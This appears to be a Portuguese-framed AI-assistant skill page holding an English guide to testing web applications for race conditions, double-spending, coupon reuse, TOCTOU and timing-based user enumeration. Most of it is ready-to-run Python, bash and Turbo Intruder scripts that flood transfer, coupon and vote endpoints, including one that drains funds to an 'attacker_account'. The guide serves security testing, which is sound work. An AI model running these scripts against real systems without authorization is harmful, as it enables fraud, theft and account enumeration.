Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Process timing testing examines whether an application's business logic can be exploited through timing attacks or race conditions. Attackers may exploit timing vulnerabilities to bypass security controls, perform double-spending attacks, or gain unauthorized access. This includes testing for race conditions in financial transactions, time-of-check to time-of-use (TOCTOU) vulnerabilities, and timing-based information leakage.
What to Check
Timing Vulnerabilities
Race conditions in transactions
Double-spending attacks
Time-of-check time-of-use (TOCTOU)
Parallel request exploitation
Timing-based enumeration
Session timing issues
Vulnerable Operations
Operation
Risk
Financial transfers
Double spending
Coupon/code redemption
Multiple use
Vote/rating systems
Vote manipulation
Inventory reservation
Overbooking
Account creation
Duplicate accounts
How to Test
Step 1: Identify Race Condition Targets
# Operations susceptible to race conditions:# - Balance checks before transfers# - Stock checks before purchases# - Coupon validation before application# - Vote counting# - Rate limiting checks# Document the target endpointsecho"Identified targets:
- POST /api/transfer
- POST /api/apply-coupon
- POST /api/vote
- POST /api/purchase"
"Check account balances for race condition success"
Step 3: Test Double-Spending Attack
#!/usr/bin/env python3import requests
import threading
import time
classDoubleSpendTester:
def__init__(self, url, token):
self.url = url
self.headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
self.results = []
defsend_transfer(self, thread_id):
"""Send transfer request"""try:
response = requests.post(
self.url,
headers=self.headers,
json={
"from": "account1",
"to": "account2",
"amount": 100# Full balance
}
)
self.results.append({
"thread": thread_id,
"status": response.status_code,
"response": response.text
})
except Exception as e:
self.results.append({
"thread": thread_id,
"error": str(e)
})
deftest_double_spend(self, num_threads=10):
"""Launch parallel transfer attempts"""
threads = []
# Create all threadsfor i inrange(num_threads):
t = threading.Thread(target=self.send_transfer, args=(i,))
threads.append(t)
# Start all threads as simultaneously as possiblefor t in threads:
t.start()
# Wait for completionfor t in threads:
t.join()
# Analyze results
successful = [r for r inself.results if r.get("status") == 200]
print(f"Successful transfers: {len(successful)} out of {num_threads}")
iflen(successful) > 1:
print("[VULNERABLE] Multiple transfers succeeded!")
print("Double-spending attack possible!")
returnself.results
# Usage
tester = DoubleSpendTester(
"https://target.com/api/transfer",
"auth_token"
)
results = tester.test_double_spend(20)
Step 4: Test Coupon/Code Race Condition
#!/bin/bash# Test single-use coupon race condition
COUPON_CODE="DISCOUNT50"
TARGET="https://target.com/api/apply-coupon"
TOKEN="your_token"# Send 20 parallel requestsfor i in {1..20}; do
curl -s -X POST "$TARGET" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"code\": \"$COUPON_CODE\"}" \
-o "response_$i.txt" &
donewait# Count successful applicationsecho"Results:"
grep -l "success\|applied" response_*.txt | wc -l
echo"successful coupon applications"# If more than 1, race condition exists
Step 5: Test TOCTOU Vulnerability
#!/usr/bin/env python3import requests
import threading
import time
deftoctou_test(base_url, token):
"""
Test Time-of-Check to Time-of-Use
Scenario: Check balance, then transfer
"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
defdrain_account():
"""Try to transfer all funds"""# This will be sent simultaneously
requests.post(
f"{base_url}/api/transfer",
headers=headers,
json={
"to": "attacker_account",
"amount": 1000# Full balance
}
)
# Send many parallel requests
threads = []
for _ inrange(50):
t = threading.Thread(target=drain_account)
threads.append(t)
# Start all at oncefor t in threads:
t.start()
for t in threads:
t.join()
# Check final balance
balance_response = requests.get(
f"{base_url}/api/account/balance",
headers=headers
)
print(f"Final balance: {balance_response.json()}")
# If negative balance, TOCTOU vulnerability exists
toctou_test("https://target.com", "auth_token")
Step 6: Test Timing-Based Information Leakage
#!/bin/bash# Measure response times to detect timing leaksecho"Testing timing-based user enumeration..."# Valid userfor i in {1..10}; dotime=$(curl -s -o /dev/null -w "%{time_total}" \
-X POST "https://target.com/login" \
-d "username=admin&password=wrongpassword")
echo"Valid user: $time"doneecho""# Invalid userfor i in {1..10}; dotime=$(curl -s -o /dev/null -w "%{time_total}" \
-X POST "https://target.com/login" \
-d "username=nonexistent12345&password=wrongpassword")
echo"Invalid user: $time"done# Compare averages - significant difference indicates timing leak
Step 7: Test Vote/Rating Race Condition
#!/usr/bin/env python3import requests
import threading
import asyncio
import aiohttp
asyncdefvote_race_condition_test(url, token, item_id, num_votes=100):
"""Test if multiple votes can be cast simultaneously"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
asyncdefcast_vote(session, vote_num):
try:
asyncwith session.post(
url,
headers=headers,
json={"item_id": item_id, "vote": 1}
) as response:
return {
"vote": vote_num,
"status": response.status,
"text": await response.text()
}
except Exception as e:
return {"vote": vote_num, "error": str(e)}
asyncwith aiohttp.ClientSession() as session:
tasks = [cast_vote(session, i) for i inrange(num_votes)]
results = await asyncio.gather(*tasks)
successful = [r for r in results if r.get("status") == 200]
print(f"Successful votes: {len(successful)} / {num_votes}")
iflen(successful) > 1:
print("[VULNERABLE] Multiple votes accepted!")
return results
# Run
asyncio.run(vote_race_condition_test(
"https://target.com/api/vote",
"auth_token",
"item_123"
))
Tools
Race Condition Testing
Tool
Description
Usage
Turbo Intruder
Burp extension
Race condition testing
Race The Web
CLI tool
race-the-web config.toml
asyncio/aiohttp
Python async
Parallel requests
Timing Analysis
Tool
Description
Burp Suite
Response time analysis
curl
-w "%{time_total}"
Custom scripts
Statistical analysis
Example Commands/Payloads
Turbo Intruder Script
# Turbo Intruder script for race conditionsdefqueueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
# Queue the same request multiple timesfor i inrange(30):
engine.queue(target.req, target.baseInput)
defhandleResponse(req, interesting):
# Log all responses
table.add(req)